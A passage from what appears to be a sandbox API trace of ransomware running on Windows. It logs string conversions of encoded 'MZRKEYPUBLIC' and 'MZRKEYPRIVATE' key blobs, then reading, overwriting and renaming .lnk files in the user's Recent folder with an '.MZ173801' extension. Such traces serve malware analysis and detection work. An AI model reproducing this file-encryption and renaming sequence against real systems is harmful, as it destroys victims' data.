lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0147.029] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0147.029] GetCurrentThreadId () returned 0xab4 [0147.029] GetCurrentThreadId () returned 0xab4 [0147.029] GetCurrentThreadId () returned 0xab4 [0147.029] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7uaJhnURa.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\7uajhnura.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.029] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0147.029] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.029] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x35f [0147.029] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.029] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x35f, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x35f, lpOverlapped=0x0) returned 1 [0147.030] CloseHandle (hObject=0x280) returned 1 [0147.030] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7uaJhnURa.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\7uajhnura.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.031] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x35f, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x35f, lpOverlapped=0x0) returned 1 [0147.032] CloseHandle (hObject=0x280) returned 1 [0147.033] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7uaJhnURa.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\7uajhnura.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7uaJhnURa.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\7uajhnura.lnk.mz173801")) returned 1 [0147.034] GetCurrentThreadId () returned 0xab4 [0147.034] GetCurrentThreadId () returned 0xab4 [0147.034] GetCurrentThreadId () returned 0xab4 [0147.034] GetCurrentThreadId () returned 0xab4 [0147.034] GetCurrentThreadId () returned 0xab4 [0147.034] GetCurrentThreadId () returned 0xab4 [0147.034] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5493395a, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x5493395a, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x5493395a, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x596, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="7xXZSvgm4j.lnk", cAlternateFileName="7XXZSV~1.LNK")) returned 1 [0147.034] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0147.034] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0147.034] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7xXZSvgm4j.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\7xxzsvgm4j.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5493395a, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x5493395a, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x5493395a, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x596)) returned 1 [0147.034] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7xXZSvgm4j.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\7xxzsvgm4j.lnk")) returned 0x20 [0147.034] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7xXZSvgm4j.lnk", dwFileAttributes=0x80) returned 1 [0147.036] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0147.036] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0147.037] GetCurrentThreadId () returned 0xab4 [0147.037] GetCurrentThreadId () returned 0xab4 [0147.037] GetCurrentThreadId () returned 0xab4 [0147.037] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0147.037] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0147.037] GetCurrentThreadId () returned 0xab4 [0147.037] GetCurrentThreadId () returned 0xab4 [0147.037] GetCurrentThreadId () returned 0xab4 [0147.037] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7xXZSvgm4j.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\7xxzsvgm4j.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.037] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0147.038] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.038] SetFilePointer (in: 